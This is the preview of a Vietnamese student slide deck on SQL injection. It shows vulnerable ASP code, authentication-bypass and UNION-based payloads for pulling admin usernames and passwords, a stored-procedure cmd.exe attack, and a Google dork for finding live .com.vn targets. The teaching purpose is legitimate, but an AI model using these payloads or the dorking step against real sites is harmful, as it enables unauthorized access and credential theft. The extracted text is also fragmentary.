1. Trang chủ
  2. » Công Nghệ Thông Tin

bài tập thực hành sql injection

48 1,3K 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 48
Dung lượng 8,87 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

SQL Injection là gì? SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu

Trang 2

SQL Injection là gì?

 SQL injection là một kĩ thuật tấn công lợi dụng lỗ

hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở

dữ liệu để "tiêm vào" (injection) và thi hành các câu lệnh SQL bất hợp pháp.

 Hậu quả của nó rất tai hại vì nó cho phép những kẻ

tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,

… do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy

 Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu

Trang 3

Các dạng tấn công bằng SQL Injection

 Có bốn dạng thông thường bao gồm:

 Vượt qua kiểm tra lúc đăng nhập (authorization bypass)

 Sử dụng câu lện SELECT

 Sử dụng câu lệnh INSERT

 Sử dụng các stored-procedures [2], [3]

Trang 4

Dạng tấn công vượt qua kiểm tra đăng

nhập

 Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web

 Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí

thông tin nhập từ phía người dùng Ví dụ:

Trang 6

USR_NAME=' " & vUsrName & _

" ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "

Trang 7

 Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang

login.htm là: ' OR ' ' = '

 Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE

USR_NAME ='' OR ''='' and

USR_PASSWORD= '' OR ''=''

 Câu truy vấn này là hợp lệ và sẽ trả về tất cả

các bản ghi của T_USERS và đoạn mã tiếp

theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ

Trang 11

 <%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS

WHERE NEWS_ID =" & vNewsID

Set objRS =

Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "

Set objRS = Nothing

%>

Trang 12

 Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:

SELECT * FROM T_NEWS WHERE

NEWS_ID=0 or 1=1

Trang 13

 ' UNION SELECT ALL SELECT OtherField

 Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa

liệt kê được tên tất cả các bảng dữ liệu

Trang 15

 Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') Nếu đoạn mã xây dựng câu lệnh SQL có dạng :

 <% strSQL = "INSERT INTO TableName

VALUES(' " & strValueOne & " ', ' " _ &

strValueTwo & " ', ' " & strValueThree & " ') " Set

objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " … Set objRS =

Nothing %>

Trang 16

Dạng tấn công sử dụng

stored-procedures

 Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'

 Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ;

 Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau

cmd.exe

Trang 17

Kỹ Thuật tấn công bằng sql injection

 Bước 1: Tìm kiếm mục tiêu

 Bước 2: Kiểm tra chỗ yếu của trang web

 Bước 3: Nhận data qua ‘database using ODBC error message’

 Bước 4: Xác định tên của các column trong

table

 Bước 5: Thu thập các dữ liệu quan trọng

 Bước 6: Xử lý kết quả tìm được

Trang 18

Tìm kiếm mục tiêu

 Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search,

feedback…

 Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn

Trang 19

 Thực hiện câu lệnh search:

 inurl:php?id= site:com.vn

Trang 20

Đây là kết quả thu được.

Trang 21

Kết Quả Tìm Được Của Nhóm

Trang 22

Kiểm tra chỗ yếu của trang web

 Bạn có thể điền thêm một số lệnh trên url,

hoặc trên các from login, search, hoặc search

để phát hiện lỗi

 Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:

Trang 26

Nhận data qua ‘database using

ODBC error message’

 Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu

 Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table Bạn

có thể khai thác như sau:

http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SHEMA.COLUMNS

WHERE

Trang 27

TABLE_NAME=‘admin_login’ Out put:

 Microsoft OLE DB Provider for ODBC

Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the

statement contains a UNION operator

 /index.asp, line 5

Trang 28

Thu thập các dữ liệu quan trọng

 Chúng ta phải xác định được các tên của các table và column quan trọng

 Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau:

 http://vitcon/index.asp?id=10 UNION

SELECT TOP 1 login_name From

admin_login—

Trang 29

 Bạn dễ dàng nhận ra được admin user đầu tiên

có login_name là ‘aaa’

 Sau đó dung tên user tìm được để tìm

password:

 http://vitcon/index.asp?id=10 UNION

SELECT TOP 1 password FROM

admin_login where login _name=‘aaa’—

 Bây giờ bạn sẽ nhận được password của ‘aaa’

Trang 30

Xử lý kết quả tìm được

 Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

 Để thay đổi password của ‘aaa’ bạn có thể làm như sau:

Trang 32

 Loại bỏ bất kì thông tin kĩ thuật nào chứa

trong thông điệp chuyển xuống cho người

dùng khi ứng dụng có lỗi

 Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống

Trang 33

DEMO

Ngày đăng: 23/10/2014, 07:50

TỪ KHÓA LIÊN QUAN

w